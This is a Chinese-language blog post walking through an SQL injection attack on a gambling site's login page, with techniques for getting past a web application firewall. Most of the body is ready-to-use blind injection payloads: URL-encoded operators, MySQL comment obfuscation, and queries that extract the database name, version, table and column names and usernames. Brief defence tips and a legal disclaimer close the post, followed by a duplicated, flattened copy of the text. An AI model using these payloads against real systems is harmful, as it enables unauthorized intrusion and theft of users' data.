性感“注入”,在线“发牌”
字数 765 2025-08-15 21:32:28

SQL注入绕过WAF技术实战详解

前言

本文详细分析了一次针对菠菜(博彩)网站的SQL注入攻击案例,重点介绍了如何绕过Web应用防火墙(WAF)的技术方法。攻击者通过精心构造的SQL语句,成功绕过了目标网站的安全防护机制,获取了数据库敏感信息。

技术背景

目标系统信息

  • 网站类型:菠菜(博彩)应用
  • 技术栈:PHP 5.x
  • 数据库:MySQL
  • 发现漏洞点:Login.php页面后的id参数

初始探测

发现URL参数id可能存在SQL注入漏洞,但直接使用常规注入语句会被WAF拦截:

1' and 1=1--+    # 拦截
1' or 1=1--+     # 拦截
1' && 1--+       # 拦截
1' || 1--+       # 拦截

WAF绕过技术详解

1. 使用URL编码绕过

通过将特殊字符进行URL编码可以绕过部分WAF检测:

1' %26%26 True--+     # 不拦截(&&编码为%26%26)
1' %26%26 false--+    # 不拦截
1' %7c%7c True--+     # 不拦截(||编码为%7c%7c)
1' %7c%7c false--+    # 不拦截

2. MySQL注释语法绕过

使用MySQL特有的/*!...*/语法绕过关键字检测:

'%26%26 (length(/*!database*/())=1)--+  # 绕过database()检测

3. 数据库信息获取技术

获取数据库名称长度

'%26%26 (length(/*!database*/())=8)--+

获取用户名长度

'%26%26 (length(/*!USER*/())=14)--+

获取MySQL版本

' %26%26 (ascii(@@version)=53)--+

4. 表信息获取技术

获取表数量

' %26%26 (0<(select count(/*!table_name*/) from information_schema.tables where table_schema=DBname))--+

获取表名

' %26%26 (0< ascii((select substr(/*!table_name*/,1,1) from information_schema.tables where table_schema=DBname limit 0,1))) --+

5. 列信息获取技术

' %26%26 (0< ascii((select substr(/*!column_name*/,2,1) from information_schema.columns where table_schema = DBname %26%26 table_name = users LIMIT 1,1)))--+

6. 数据提取技术

' %26%26 (0<ascii(substr((SELECT group_concat(/*!username*/) FROM `DBname`.`users`),1,1))) --+

关键绕过思路总结

  1. 函数名混淆:使用/*!...*/包裹函数名如database()table_name
  2. 编码转换:对特殊字符进行URL编码、Unicode编码等
  3. 语句拆分:将敏感语句拆分成多个部分,避免完整匹配
  4. 注释干扰:插入无害注释打乱WAF的检测模式
  5. 大小写混合:交替使用大小写字母绕过简单正则匹配

防御建议

  1. 使用参数化查询或预处理语句
  2. 实施最小权限原则,限制数据库用户权限
  3. 对输入进行严格过滤和验证
  4. 使用专业的WAF并定期更新规则
  5. 避免直接显示数据库错误信息
  6. 定期进行安全审计和渗透测试

法律与道德声明

本文所述技术仅用于安全研究和防御目的。未经授权对任何系统进行测试或攻击都是违法行为。读者应遵守《中华人民共和国网络安全法》及相关法律法规。

SQL注入绕过WAF技术实战详解 前言 本文详细分析了一次针对菠菜(博彩)网站的SQL注入攻击案例,重点介绍了如何绕过Web应用防火墙(WAF)的技术方法。攻击者通过精心构造的SQL语句,成功绕过了目标网站的安全防护机制,获取了数据库敏感信息。 技术背景 目标系统信息 网站类型:菠菜(博彩)应用 技术栈:PHP 5.x 数据库:MySQL 发现漏洞点: Login.php 页面后的 id 参数 初始探测 发现URL参数 id 可能存在SQL注入漏洞,但直接使用常规注入语句会被WAF拦截: WAF绕过技术详解 1. 使用URL编码绕过 通过将特殊字符进行URL编码可以绕过部分WAF检测: 2. MySQL注释语法绕过 使用MySQL特有的 /*!...*/ 语法绕过关键字检测: 3. 数据库信息获取技术 获取数据库名称长度 获取用户名长度 获取MySQL版本 4. 表信息获取技术 获取表数量 获取表名 5. 列信息获取技术 6. 数据提取技术 关键绕过思路总结 函数名混淆 :使用 /*!...*/ 包裹函数名如 database() 、 table_name 等 编码转换 :对特殊字符进行URL编码、Unicode编码等 语句拆分 :将敏感语句拆分成多个部分,避免完整匹配 注释干扰 :插入无害注释打乱WAF的检测模式 大小写混合 :交替使用大小写字母绕过简单正则匹配 防御建议 使用参数化查询或预处理语句 实施最小权限原则,限制数据库用户权限 对输入进行严格过滤和验证 使用专业的WAF并定期更新规则 避免直接显示数据库错误信息 定期进行安全审计和渗透测试 法律与道德声明 本文所述技术仅用于安全研究和防御目的。未经授权对任何系统进行测试或攻击都是违法行为。读者应遵守《中华人民共和国网络安全法》及相关法律法规。